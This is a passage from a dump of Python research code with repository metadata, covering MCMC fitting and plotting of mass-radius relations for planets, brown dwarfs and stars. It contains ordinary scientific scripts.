markeredgewidth=0.5\n\t\t\t\t)\n\tlegends.append(alegend)\n\nplt.legend(legends,[r'$\\rm moons/dwarf\\ planets$',r'$\\rm exoplanets$',r'$\\rm brown\\ dwarfs$',r'$\\rm stars$'],\n\t\t\tloc=(0.04,0.68),prop={'size':9}, numpoints=1)\n\n\n### plot solar planets symbol\nplt.plot(solarplanet[:,0],solarplanet[:,2], 'm.', markersize = 0.5)\n# earth\nplt.plot(solarplanet[2,0],solarplanet[2,2], '+', markerfacecolor = 'None', markeredgecolor='#ffa500', markersize = 4, markeredgewidth=0.5)\nplt.plot(solarplanet[2,0],solarplanet[2,2], 'o', markerfacecolor = 'None', markeredgecolor='#ffa500', markersize = 4, markeredgewidth=0.5)\n\n\n# set log scale ticks\n# x axis\ntick = np.zeros(9*(6+4)+1)\nfor i in range(6+4):\n\ttick[i*9:(i+1)*9] = np.linspace(10.**(i-4), 9.*10.**(i-4), 9)\ntick[-1] = 10.**6\n\nxticks = np.log10(tick)\n\nlabelnumber = [[r'$10^{-4}$'],[r'$10^{-3}$'],[r'$10^{-2}$'],[r'$10^{-1}$'],[r'$10^{0}$'],\\\n\t\t\t[r'$10^{1}$'],[r'$10^{2}$'],[r'$10^{3}$'],[r'$10^{4}$'],[r'$10^{5}$'],[r'$10^{6}$']]\nlabelrest = ['']*8\n\nxticklabel = []\nfor i in range(6+4):\n\txticklabel += labelnumber[i] + labelrest\t\nxticklabel += labelnumber[-1]\n\nplt.xticks( xticks, xticklabel )\n\n# yaxis\nplt.ylim([-1.2, 2.2])\ntick = np.zeros(3+9*(2+1)+1)\ntick[0:3] = np.arange(7,10) * 10.**-2\nfor i in range(2+1):\n\ttick[3+i*9:3+(i+1)*9] = np.linspace(10.**(i-1), 9.*10.**(i-1), 9)\ntick[-1] = 10.**2\n\nyticks = np.log10(tick)\n\nlabelnumber = [[r'$10^{-1}$'],[r'$10^{0}$'],[r'$10^{1}$'],[r'$10^{2}$']]\nlabelrest = ['']*8\n\nyticklabel = ['']*3\nfor i in range(2+1):\n\tyticklabel += labelnumber[i] + labelrest\t\nyticklabel += labelnumber[-1]\n\n\nplt.yticks( yticks, yticklabel )\n\n# xy label\nplt.xlabel(r'$\\rm M/M_\\oplus$', fontsize=12)\nplt.ylabel(r'$\\rm R/R_\\oplus$', fontsize=12) # may inverse the letter by specify: rotation=0\nax.xaxis.set_label_coords(0.5,-0.06)\nax.yaxis.set_label_coords(-0.08,0.5)\n#ax.yaxis.set_label_coords(-0.08,0.47)\n\n\npp.savefig()\npp.close()\n\n\n" }, { "alpha_fraction": 0.5394737124443054, "alphanum_fraction": 0.5840080976486206, "avg_line_length": 27.171428680419922, "blob_id": "ee7c52586325cddf9e2598f82e470abc43f182e8", "content_id": "313cc90ac2276421ae052edb351d87cd73c49cd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 988, "license_type": "no_license", "max_line_length": 112, "num_lines": 35, "path": "/NaiveMC/model_fit.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\npolynomial (1st order/2nd/3rd) & etc model that fits the data\n'''\n\n\n### 1st polynomial\ndef model_poly1(x,p):\n c0,c1 = p\n return c0 + c1*x\n \n### 2nd polynomial\ndef model_poly2(x,p):\n c0,c1,c2 = p\n return c0 + c1*x + c2*x**2.\n \n### 3rd polynomial \ndef model_poly3(x,p):\n c0,c1,c2,c3 = p\n return c0 + c1*x + c2*x**2. + c3*x**3.\n\n\n### radius as a function of mass, alpha(frac_iron), beta(frac_silicate)\n''' using Li Zeng's table output, nearest neighbor interpolation '''\nimport numpy as np\n\nradius_table = np.loadtxt('/Users/jingjing/Work/Model/Composition_LZeng/Radius.out', delimiter=';', unpack=True)\n\ndef radius_lz(mass,alpha,beta):\n index = np.round([ mass*4., alpha*100., beta*100. ]).astype(int)\n mass_ind, iron_ind, sili_ind = index[0]-2, index[1], index[2]\n row_ind = mass_ind * 100 + iron_ind\n col_ind = sili_ind\n rad = radius_table[row_ind, col_ind]\n \n return rad\n\n\n" }, { "alpha_fraction": 0.5703294277191162, "alphanum_fraction": 0.6277372241020203, "avg_line_length": 25.962766647338867, "blob_id": "36062cd87c02afd8197eb0455c270d9d83d8b826", "content_id": "a6a3f25441c6dfc4694e0370f3ad00db4781988b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5069, "license_type": "no_license", "max_line_length": 107, "num_lines": 188, "path": "/Projects/PlanetGroup/plt_result.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n#from readdata import data\nfrom func import indicate, convert_data,\\\n\t\t\t\tsplit_hyper, split_hyper_linear, \\\n\t\t\t\tpiece_power, piece_power_frac, piece_linear, piece_linear_complex\nfrom fnmatch import fnmatch\nimport os\n\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n\n### color order: blue, green, red, cyan\n\ndef plt_power():\n\t### data\n\thyper = np.loadtxt(dir+'hyper.out')\n\tloglike = np.loadtxt(dir+'loglike.out')\n\trepeat = np.loadtxt(dir+'repeat.out')\n\n\t### split data\n\tc0 = hyper[:,0]\n\tpower= hyper[:,1:5]\n\tsigma = hyper[:,5:9]\n\ttrans = hyper[:,9:12]\n\n\t### plot\n\tplt.clf()\n\n\trow = 2\n\tcol = 4\n\n\tf, ((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\n\tax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\n\t# repeat\n\tax[0][0].plot(repeat)\n\tax[0][0].set_yscale('log')\n\tax[0][0].set_xlabel('repeat')\n\n\t# loglike\n\tax[0][1].plot(loglike)\n\tax[0][1].set_xlabel('L')\n\n\t# over plot\n\tdat = data()\n\tax[0][2].errorbar(dat[:,0], dat[:,2], xerr=dat[:,1], yerr=dat[:,3], fmt='.')\n\n\thyper_last = hyper[-1,:]\n\ttrans_last = hyper_last[-3:]\n\tm_sample = np.logspace(np.log10(np.min(dat[:,0])), np.log10(np.max(dat[:,0])), 1000)\n\tr_sample = piece_power_frac(hyper_last, m_sample, prob_R = 0.5 * np.ones_like(m_sample))\n\tr_upper = piece_power_frac(hyper_last, m_sample, prob_R = 0.84 * np.ones_like(m_sample))\n\tr_lower = piece_power_frac(hyper_last, m_sample, prob_R = 0.16 * np.ones_like(m_sample))\n\tax[0][2].plot(m_sample,r_sample,'r-')\n\tax[0][2].fill_between(m_sample, r_lower, r_upper, color='grey', alpha=0.2)\n\n\tr_trans = piece_power_frac(hyper_last, trans_last, prob_R = 0.5 * np.ones_like(trans_last))\n\tax[0][2].plot(trans_last, r_trans, 'rx')\n\t\n\tax[0][2].set_xscale('log')\n\tax[0][2].set_yscale('log')\n\tax[0][2].set_xlabel(r'M [M$_\\oplus$]')\n\tax[0][2].set_ylabel(r'R [R$_\\oplus$]')\n\n\t# C\n\tax[1][0].plot(c0)\n\tax[1][0].set_yscale('log')\n\tax[1][0].set_xlabel('c0')\n\tax[1][0].set_ylim([1e-3,1e3])\n\n\t# power\n\tfor i in range(4):\n\t\tax[1][1].plot(power[:,i])\n\tax[1][1].set_xlabel('power')\n\n\t# sigma\n\tfor i in range(4):\n\t\tax[1][2].plot(sigma[:,i])\n\tax[1][2].set_yscale('log')\n\tax[1][2].set_xlabel('sigma')\n\tax[1][2].set_ylim([1e-3,1e2])\n\n\t# transition\n\tfor i in range(3):\n\t\tax[1][3].plot(trans[:,i])\n\tax[1][3].set_yscale('log')\n\tax[1][3].set_xlabel('transition')\n\tax[1][3].set_ylim([1e-4,1e6])\n\n\tplt.savefig('plt_power.png')\n\n\treturn None\n\ndef plt_linear(infile, outfile, datadir=''):\n\n\tpp = PdfPages(outfile)\n\n\t### data\n\thyper = np.loadtxt(infile+'hyper.out')\n\tloglike = np.loadtxt(infile+'loglike.out')\n\trepeat = np.loadtxt(infile+'repeat.out')\n\n\t### split data\n\tc0 = hyper[:,0]\n\tslope= hyper[:,1:5]\n\tsigma = hyper[:,5:9]\n\ttrans = hyper[:,9:12]\n\n\t### plot\n\tplt.clf()\n\n\trow = 2\n\tcol = 4\n\n\tf, ((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\n\tax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\n\t# repeat\n\tax[0][0].plot(repeat)\n\tax[0][0].set_yscale('log')\n\tax[0][0].set_xlabel('repeat')\n\n\t# loglike\n\tax[0][1].plot(loglike)\n\tax[0][1].set_xlabel('L')\n\n\t# loglike\n\tax[0][2].plot(range(len(loglike)/2, len(loglike)), loglike[len(loglike)/2:])\n\tax[0][1].set_xlabel('L')\n\n\t# over plot\n\tdat = convert_data(np.loadtxt(datadir+'PlanetGroup.txt'))\n\tax[0][3].errorbar(dat[:,0], dat[:,2], xerr=dat[:,1], yerr=dat[:,3], fmt='.')\n\n\tbest_ind = np.argmax(loglike)\n\thyper_best = hyper[best_ind,:]\n\ttrans_best = hyper_best[-3:]; print 10.**trans_best\n\tm_sample = np.linspace(np.min(dat[:,0]), np.max(dat[:,0]), 1000)\n\tr_sample = piece_linear(hyper_best, m_sample, prob_R = 0.5 * np.ones_like(m_sample))\n\t#r_upper = piece_linear(hyper_best, m_sample, prob_R = 0.84 * np.ones_like(m_sample))\n\t#r_lower = piece_linear(hyper_best, m_sample, prob_R = 0.16 * np.ones_like(m_sample))\n\tr_upper = piece_linear_complex(hyper_best, m_sample, prob_R = 0.84 * np.ones_like(m_sample))\n\tr_lower = piece_linear_complex(hyper_best, m_sample, prob_R = 0.16 * np.ones_like(m_sample))\t\n\n\tax[0][3].plot(m_sample,r_sample,'r-')\n\tax[0][3].fill_between(m_sample, r_lower, r_upper, color='grey', alpha=0.2)\n\n\tr_trans = piece_linear(hyper_best, trans_best, prob_R = 0.5 * np.ones_like(trans_best))\n\tax[0][3].plot(trans_best, r_trans, 'rx')\n\t\n\tax[0][3].set_xlabel(r'log10(M [M$_\\oplus$])')\n\tax[0][3].set_ylabel(r'log10(R [R$_\\oplus$])')\n\n\t# C\n\tax[1][0].plot(c0)\n\tax[1][0].set_xlabel('c0')\n\tax[1][0].set_ylim([-1,1])\n\n\t# slope\n\tfor i in range(4):\n\t\tax[1][1].plot(slope[:,i])\n\tax[1][1].set_xlabel('slope')\n\n\t# sigma\n\tfor i in range(4):\n\t\tax[1][2].plot(sigma[:,i])\n\tax[1][2].set_yscale('log')\n\tax[1][2].set_xlabel('sigma')\n\tax[1][2].set_ylim([1e-3,1e0])\n\n\t# transition\n\tfor i in range(3):\n\t\tax[1][3].plot(trans[:,i])\n\tax[1][3].set_xlabel('transition')\n\tax[1][3].set_ylim([-4,6])\n\n\tpp.savefig()\n\tpp.close()\n\n\treturn None\n\nif __name__ == '__main__':\n\t#plt_power()\n\tinfile = '/Users/jingjing/Work/DK_project/Output/OutFile/PlanetGroup/cf2/'\n\toutfile = '/Users/jingjing/Work/DK_project/Stat_Practice/Projects/PlanetGroup/linplot/lin_scatter/cf2.pdf'\n\tdatadir = '/Users/jingjing/Work/DK_project/Data/Mine/'\n\tplt_linear(infile, outfile, datadir)\n" }, { "alpha_fraction": 0.6444731950759888, "alphanum_fraction": 0.6765783429145813, "avg_line_length": 28.163522720336914, "blob_id": "7272e527a36d88bf7c256f6f54b60b90510f0d78", "content_id": "314453dcfb57d21a151c4057dda88e8a0137667b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4641, "license_type": "no_license", "max_line_length": 99, "num_lines": 159, "path": "/Projects/PlanetGroup/h4_fit.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nbased on straight_fit (final model)\nuse three transition points, all constant intrinsic scatter\nchange the log likelihood, because we suspect the previous one is doing double prior on R_theory\n'''\n\nimport numpy as np\nimport sys\nsys.path.append('../..')\nfrom NaiveMC.mcmc import hbm_joint_cdf\nfrom scipy.stats import norm, uniform\nfrom func import indicate, split_hyper_linear, piece_linear, convert_data\n\n###\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"dir\")\nparser.add_argument(\"hyperic\")\nparser.add_argument(\"hyperstep\")\nargs = parser.parse_args()\n\n### seed\nimport os\npid = os.getpid()\nnp.random.seed(pid)\n\nprint 'output directory', args.dir\nprint 'random seed', pid\nprint 'hyper prob0', args.hyperic\nprint 'hyper stepsize', args.hyperstep\n\n### fix the number of different populations\nn_pop = 4\n\n### data\n#file = '/Users/jingjing/Work/DK_project/Data/Mine/PlanetGroup.txt'\nfile = 'PlanetGroup.txt'\ndat = np.loadtxt(file)\nm_exact = (dat[:,1]==0.)\ndat_fixm = convert_data(dat[m_exact]) \nM0 = dat_fixm[:,0]\ndat_varm = convert_data(dat[~m_exact]) \n\n### some static parameter \nn_fixm = np.shape(dat_fixm)[0]\nn_varm = np.shape(dat_varm)[0]\n\n\n### inverse sampling\ndef inverse_hyper(hyper_prob):\n\tprob_C0, prob_slope, prob_sigma, prob_trans = \\\n\thyper_prob[0], hyper_prob[1:1+n_pop], hyper_prob[1+n_pop:1+2*n_pop], hyper_prob[1+2*n_pop:3*n_pop]\n\t\n\tC0 = uniform.ppf(prob_C0,-1.,2.)\n\tslope = norm.ppf(prob_slope, 0.,5.)\n\tsigma = 10.**( uniform.ppf(prob_sigma, -3., 5.) )\n\ttrans = np.sort( uniform.ppf(prob_trans, -4., 10.) )\n\n\thyper = np.hstack(( C0, slope, sigma, trans ))\n\n\treturn hyper\n\n# R(0,i) for fix mass, and then M(1,i), R(1,i) for variable mass, 0/1 indicates fix/var\ndef inverse_local(local_prob, hyper):\t\n\t# M(1,i) for variable mass\n\tM1 = uniform.ppf(local_prob, -4., 10.)\n\n\treturn M1\n\n\n### return sigma corresponding to M/R\ndef split_group(hyper, local):\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\n\tM1 = local + 0.\n\t\n\tsig_like_M0 = np.zeros_like(M0)\n\tfor i in range(n_pop):\n\t\tsig_like_M0 += sigma[i] * indicate(M0,trans,i)\n\n\tsig_like_M1 = np.zeros_like(M1)\n\tfor i in range(n_pop):\n\t\tsig_like_M1 += sigma[i] * indicate(M1,trans,i)\n\n\treturn sig_like_M0, sig_like_M1\n\n### likelihood\ndef loglike_func(hyper,local, dat_fixm, dat_varm):\n\tsigma_like_R0, sigma_like_R1 = split_group(hyper, local)\n\n\t# fix mass\n\tRob0 = dat_fixm[:,2]\n\tRerr0 = dat_fixm[:,3]\n\tfM0 = piece_linear(hyper, M0, 0.5*np.ones_like(M0))\n\n\tL0 = 0. - 0.5* np.sum( (Rob0-fM0)**2./(Rerr0**2.+sigma_like_R0**2.) ) \\\n\t\t\t- 0.5* np.sum( np.log(Rerr0**2.+sigma_like_R0**2.) )\n\n\t# variable mass\n\tMob1 = dat_varm[:,0]\n\tMerr1 = dat_varm[:,1]\n\tRob1 = dat_varm[:,2]\n\tRerr1 = dat_varm[:,3]\n\tMth1 = local + 0.\n\tfM1 = piece_linear(hyper, Mth1, 0.5*np.ones_like(Mth1))\n\n\tL1 = 0. - 0.5* np.sum( (Mob1-Mth1)**2./Merr1**2. ) \\\n\t\t\t- 0.5* np.sum( (Rob1-fM1)**2./(Rerr1**2.+sigma_like_R1**2.) ) \\\n\t\t\t- 0.5* np.sum( np.log(Rerr1**2.+sigma_like_R1**2.) )\t\n\n\tL = L0 + L1\n\treturn L\n\n### mcmc\n\nn_step = int(5e2)\n#n_step = int(5e5)\n\nhyper_prob0 = np.loadtxt(args.hyperic)\nhyper_stepsize = np.loadtxt(args.hyperstep)\nlocal_prob0 = 0.5 * np.ones(n_varm)\nlocal_stepsize = (1.*1e-4) * np.ones(n_varm)\n\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglike_chain, repeat_chain, stop_step = \\\nhbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\n\t\t\tinverse_hyper, inverse_local, \\\n\t\t\tloglike_func, data = [dat_fixm, dat_varm], \\\n\t\t\ttrial_upbound = 20*n_step)\n\n### these should belong to hbm_joint_cdf, just be here temporarily to fix the output\nif np.any(loglike_chain == -np.inf):\n\tstop_step = np.where(loglike_chain == -np.inf)[0][0]\nelse:\n\tstop_step = n_step\n\nif repeat_chain[stop_step-1] == 0:\n\trepeat_chain[stop_step-1] =1\n\n### save\nnp.savetxt(args.dir+'hyper_prob.out',hyper_prob_chain[:stop_step,:])\nnp.savetxt(args.dir+'hyper.out',hyper_chain[:stop_step,:])\nnp.savetxt(args.dir+'loglike.out',loglike_chain[:stop_step])\nnp.savetxt(args.dir+'repeat.out',repeat_chain[:stop_step])\n\n### save top for restart\ntop_ind = np.argsort(loglike_chain)[-100:]\nnp.savetxt(args.dir+'local_prob_top.out',local_prob_chain[top_ind,:])\nnp.savetxt(args.dir+'local_top.out',local_chain[top_ind,:])\nnp.savetxt(args.dir+'hyper_prob_top.out',hyper_prob_chain[top_ind,:])\nnp.savetxt(args.dir+'hyper_top.out',hyper_chain[top_ind,:])\nnp.savetxt(args.dir+'index_top.out',top_ind)\nnp.savetxt(args.dir+'loglike_top.out', loglike_chain[top_ind])\n\n### save last for resume\nlast_ind = stop_step-1\nnp.savetxt(args.dir+'local_prob_last.out',local_prob_chain[last_ind,:])\nnp.savetxt(args.dir+'hyper_prob_last.out',hyper_prob_chain[last_ind,:])\n\n\n\n\n" }, { "alpha_fraction": 0.5360125303268433, "alphanum_fraction": 0.5918580293655396, "avg_line_length": 23.889610290527344, "blob_id": "0ae32f373ad6c2281c5a275c68a5dd58e89e8f2c", "content_id": "9e4d76422a6169a4e52e8c684cdfa2c47af3f0b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3832, "license_type": "no_license", "max_line_length": 109, "num_lines": 154, "path": "/Projects/PlanetGroup/test_planetgroup.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfit a piecewise linear line on log(M) VS log(R)\n'''\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n### unit\nmsun2mjup = 1047.92612\nrsun2rjup = 9.948\n\n\n### data\ndir = '/Users/jingjing/Work/Composition_project/Data/'\noutdir = '/Users/jingjing/Work/Composition_project/Output/'\n\n# M (Msun), Merr, R (Rsun), Rerr\nst = np.loadtxt(dir+'2010-Torres/binarystar.csv', skiprows=48, usecols=(4,5,6,7), delimiter=';')\n# M (Msun), M+, M-, R (Rsun), R+, R-\nst2 = np.loadtxt(dir+'2015-Hatzes/otherstars.csv', skiprows=1, usecols=(1,2,3,4,5,6), delimiter=',')\nrowind = (st2[:,1]==st2[:,2]) & (st2[:,4]==st2[:,5])\nst2 = st2[rowind,:]\n# M (Mjup), M+, M-, R (Rjup), R+, R-\nbd = np.loadtxt(dir+'2015-Hatzes/browndwarfs.csv', skiprows=1,usecols=(1,2,3,4,5,6),delimiter=',')\nrowind = (bd[:,1]==bd[:,2]) & (bd[:,4]==bd[:,5])\nbd = bd[rowind,:]\n# M (Mjup), M+, M-, R (Rjup), R+, R-\npl = np.loadtxt(dir+'TEPCat/allplanets.csv', skiprows=1, usecols=(26,27,28,29,30,31), delimiter=',')\nrowind = (pl[:,1]==pl[:,2]) & (pl[:,4]==pl[:,5])\npl = pl[rowind,:]\n\n### M VS R plot\nplt.errorbar(st[:,0]*msun2mjup, st[:,2]*rsun2rjup, xerr=st[:,1], yerr=st[:,3], fmt='.', alpha=0.5)\nplt.errorbar(st2[:,0]*msun2mjup, st2[:,3]*rsun2rjup, xerr=st2[:,1], yerr=st2[:,4], fmt='.', alpha=0.5)\nplt.errorbar(bd[:,0], bd[:,3], xerr=bd[:,1], yerr=bd[:,4], fmt='.', alpha=0.5)\nplt.errorbar(pl[:,0], pl[:,3], xerr=pl[:,1], yerr=pl[:,4], fmt='.', alpha=0.5)\n\nplt.xscale('log'); plt.yscale('log')\nplt.xlim([1e-2,1e4]); plt.ylim([1e-2,1e3])\nplt.xlabel('M [Jupiter]'); plt.ylabel('R [Jupiter]')\n\nplt.savefig(outdir+'Figure/test_mr.png')\n\n'''\n### linear fit\nmass = np.hstack(( st[:,0]*msun2mjup, st2[:,0]*msun2mjup, bd[:,0], pl[:,0] ))\nmerr = np.hstack(( st[:,1]*msun2mjup, st2[:,1]*msun2mjup, bd[:,1], pl[:,1] ))\nradius = np.hstack(( st[:,2]*rsun2rjup, st2[:,3]*rsun2rjup, bd[:,3], pl[:,3] ))\nraderr= np.hstack(( st[:,3]*rsun2rjup, st2[:,4]*rsun2rjup, bd[:,4], pl[:,4] ))\n\n# range cut\nind = (radius<1e3) & (radius>1e-2) & (mass>1e-2) & (mass<1e4)\nmass = mass[ind]\nmerr = merr[ind]\nradius = radius[ind]\nraderr = raderr[ind]\n\nlogm = np.log10(mass)\nlogmerr = merr/mass\nlogr = np.log10(radius)\nlogrerr = raderr/radius\n\n\n### mcmc\nfrom mcmc import mcmc\n\n# fix number of piece\nn_piece = 3\n\n# piecewise model\ndef piece_model(p,x):\n\tai = p[:n_piece]\n\tb1 = p[n_piece]\n\txi = p[n_piece+1:]\n\n\tbi = np.zeros_like(ai)\n\tbi[0] = b1\n\tfor i in range(1,n_piece):\n\t\tbi[i] = (ai[i-1]-ai[i])*xi[i-1]+bi[i-1] \n\n\ty = np.zeros_like(x)\n\t\n\tind = (x<xi[0])\n\ty[ind] = ai[0]*x[ind]+bi[0]\n\n\tfor i in range(1,n_piece-1):\n\t\tind = (x>=xi[i-1])&(x<xi[i])\n\t\ty[ind] = ai[i]*x[ind]+bi[i]\n\n\tind = ( x>=xi[-1] )\n\ty[ind] = ai[-1]*x[ind]+bi[-1]\n\n\treturn y\n\n\n# loglike\ndef loglikefunc(p, x, y, yerr):\n\tai = p[:n_piece]\n\tb1 = p[n_piece]\n\txi = p[n_piece+1:]\n\n\tbi = np.zeros_like(ai)\n\tbi[0] = b1\n\tfor i in range(1,n_piece):\n\t\tbi[i] = (ai[i-1]-ai[i])*xi[i-1]+bi[i-1]\n\t\n\ty_fit = piece_model(p, x)\n\tloglike = 0.- np.sum( (y_fit-y)**2. / yerr**2. )\n\treturn loglike\n\n\n# domain\nxmin, xmax = np.min(logr), np.max(logr)\ndef domain(p_tmp, p_old):\n\tp_new = p_tmp\n\tif (p_tmp[n_piece+1] < xmin):\n\t\tp_new[n_piece+1] = p_old[n_piece+1]\n\tif (p_tmp[-1] > xmax):\n\t\tp_new[-1] = p_old[-1]\t\n\treturn p_new\n\n\n# initial\nai = np.ones(n_piece)\nb1 = 0.\nxi = (xmax-xmin)/n_piece * np.arange(1,n_piece) + xmin\np0 = np.hstack(( ai, b1, xi ))\nastep = 0.03*np.ones_like(ai)\nbstep = 0.01\nxstep = 0.01*np.ones_like(xi)\np_stepsize = np.hstack(( astep, bstep, xstep ))\n\n\nn_step = int(1e4)\n\n\n# run\np_chain, loglike_chain = mcmc(p0, p_stepsize, n_step, loglikefunc, data=[logr, logm, logmerr], domain=domain)\n\nfor i in range(2*n_piece):\n\tplt.plot(p_chain[:,i])\nplt.show()\n\nprint p_chain[-1,:]\n\nplt.errorbar(logr, logm, yerr=logmerr, fmt='.')\nx = logr\ny = piece_model(p_chain[-1,:], x)\norder = np.argsort(x)\nplt.plot(x[order], y[order])\nplt.savefig('test.png')\n'''" }, { "alpha_fraction": 0.6108498573303223, "alphanum_fraction": 0.6533423066139221, "avg_line_length": 28.171567916870117, "blob_id": "04d6579e1495fdcecac208db30876d4b006eb318", "content_id": "08bf2a8e2ecb0599de6449323199ae12c02840e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5954, "license_type": "no_license", "max_line_length": 106, "num_lines": 204, "path": "/Projects/PlanetGroup/test/straight_e1.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\njust fit the log(M) and log(R) with a staight line\ntreat the 2D error as gaussian for simplicity, \nwhich is definitely not true, but close when S/N is high\n'''\n\nimport numpy as np\nimport sys\nsys.path.append('../..')\nfrom NaiveMC.mcmc import hbm_joint_cdf\nfrom scipy.stats import norm, uniform\nfrom func import indicate, split_hyper_linear, piece_linear, convert_data\n\n###\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"dir\")\nparser.add_argument(\"input\")\nparser.add_argument(\"top\", type=int)\nargs = parser.parse_args()\n\n\n### output dir\ndir = args.dir\n\n### input hyper prob start position\ninput = args.input\n\n### which [1-10] top hyper/local\n#top = args.top*10-6\ntop = args.top\n\n### seed\nimport os\npid = os.getpid()\nnp.random.seed(pid)\nprint 'input', input\nprint 'output', dir\nprint 'top', top\nprint 'random seed', pid\n\n### fix the number of different populations\nn_pop = 4\n\n### data\n#file = '/Users/jingjing/Work/DK_project/Data/Mine/PlanetGroup.txt'\nfile = 'PlanetGroup.txt'\ndat = np.loadtxt(file)\nm_exact = (dat[:,1]==0.)\ndat_fixm = convert_data(dat[m_exact]) \nM0 = dat_fixm[:,0]\ndat_varm = convert_data(dat[~m_exact]) \n\n\n### some static parameter \nn_fixm = np.shape(dat_fixm)[0]\nn_varm = np.shape(dat_varm)[0]\n\n\n### inverse sampling\ndef inverse_hyper(hyper_prob):\n\tprob_C0, prob_slope, prob_sigma, prob_trans = \\\n\thyper_prob[0], hyper_prob[1:1+n_pop], hyper_prob[1+n_pop:1+2*n_pop], hyper_prob[1+2*n_pop:3*n_pop]\n\t\n\tC0 = uniform.ppf(prob_C0,-1.,2.)\n\tslope = norm.ppf(prob_slope, 0.,5.)\n\tsigma = 10.**( uniform.ppf(prob_sigma, -3., 5.) )\n\ttrans = np.sort( uniform.ppf(prob_trans, -4., 10.) ) # sort\n\n\thyper = np.hstack(( C0, slope, sigma, trans ))\n\n\treturn hyper\n\n# R(0,i) for fix mass, and then M(1,i), R(1,i) for variable mass, 0/1 indicates fix/var\ndef inverse_local(local_prob, hyper):\n\t# R(0,i) for fix mass\n\tprob_R0 = local_prob[0:n_fixm]\n\tR0 = piece_linear(hyper, M0, prob_R0)\n\n\t# M(1,i) for variable mass\n\tprob_M1 = local_prob[n_fixm:n_fixm+n_varm]\n\tM1 = uniform.ppf(prob_M1, -4., 10.)\n\n\t# R(1,i) for varibable mass\n\tprob_R1 = local_prob[n_fixm+n_varm:]\n\tR1 = piece_linear(hyper, M1, prob_R1)\n\n\tlocal = np.hstack((R0, M1, R1))\n\n\treturn local\n\n\n### return sigma corresponding to M/R\ndef split_group(hyper, local):\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\n\tM1 = local[n_fixm:n_fixm+n_varm]\n\t\n\tsig_like_M0 = np.zeros_like(M0)\n\tfor i in range(n_pop):\n\t\tsig_like_M0 += sigma[i] * indicate(M0,trans,i)\n\n\tsig_like_M1 = np.zeros_like(M1)\n\tfor i in range(n_pop):\n\t\tsig_like_M1 += sigma[i] * indicate(M1,trans,i)\n\n\treturn sig_like_M0, sig_like_M1\n\n### change the intrinsic scatter of the degenerate group\ndef split_group_complex(hyper, local):\n\t#sig_const_M0, sig_const_M1 = split_group(hyper, local)\n\n\tc, slope, sigma, trans = split_hyper_linear(hyper)\n\tM1 = local[n_fixm:n_fixm+n_varm]\n\n\tsig_M0 = np.zeros_like(M0)\n for i in range(n_pop):\n sig_M0 += sigma[i] * indicate(M0,trans,i)\n\n sig_M1 = np.zeros_like(M1)\n for i in range(n_pop):\n sig_M1 += sigma[i] * indicate(M1,trans,i)\n\n\t# fix the intrinsic scatter in the 2nd(0,1,2) group(degenerate group)\n\t# from constant to a straight line that smoothly goes from sigma_const_giant to sigma_const_degen\n\tsig_M0 = sig_M0 + (sigma[1]-sigma[2]) * (trans[2] - M0) / (trans[1] - trans[2]) * indicate(M0, trans, 2)\n\tsig_M1 = sig_M1 + (sigma[1]-sigma[2]) * (trans[2] - M1) / (trans[1] - trans[2]) * indicate(M1, trans, 2)\t\n\n\treturn sig_M0, sig_M1\n\n### likelihood\ndef loglike_func(hyper,local, dat_fixm, dat_varm):\n\tsigma_like_R0, sigma_like_R1 = split_group_complex(hyper, local)\n\n\t# fix mass\n\tRob0 = dat_fixm[:,2]\n\tRerr0 = dat_fixm[:,3]\n\tRth0 = local[0:n_fixm]\n\n\tL0 = 0. - 0.5* np.sum( (Rob0-Rth0)**2./(Rerr0**2.+sigma_like_R0**2.) ) \\\n\t\t- 0.5* np.sum( np.log( Rerr0**2.+sigma_like_R0**2. ) )\n\n\t# variable mass\n\tMob1 = dat_varm[:,0]\n\tMerr1 = dat_varm[:,1]\n\tRob1 = dat_varm[:,2]\n\tRerr1 = dat_varm[:,3]\n\tMth1 = local[n_fixm:n_fixm+n_varm]\n\tRth1 = local[n_fixm+n_varm:]\n\n\tL1 = 0. - 0.5* np.sum( (Mob1-Mth1)**2./Merr1**2. ) \\\n\t\t- 0.5* np.sum( (Rob1-Rth1)**2./(Rerr1**2.+sigma_like_R1**2. ) ) \\\n\t\t- 0.5* np.sum( np.log( Rerr1**2.+sigma_like_R1**2. ) )\n\n\tL = L0 + L1\n\treturn L\n\n### mcmc\n\nn_step = int(10)\n#n_step = int(5e5)\n\n#hyper_prob0 = np.array([0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.45, 0.6, 0.8])\n#hyper_prob0 = np.array([0.5, 0.5, 0.55, 0.5, 0.55, 0.3, 0.5, 0.4, 0.3, 0.45, 0.6, 0.8])\nhyper_prob0 = np.loadtxt(input+'hyper_prob_top.out')[0-top,:]\nhyper_stepsize = (2.*1e-4) * np.ones(3*n_pop)\nlocal_prob0 = np.loadtxt(input+'local_prob_top.out')[0-top,:]\nlocal_stepsize = (2.*1e-4) * 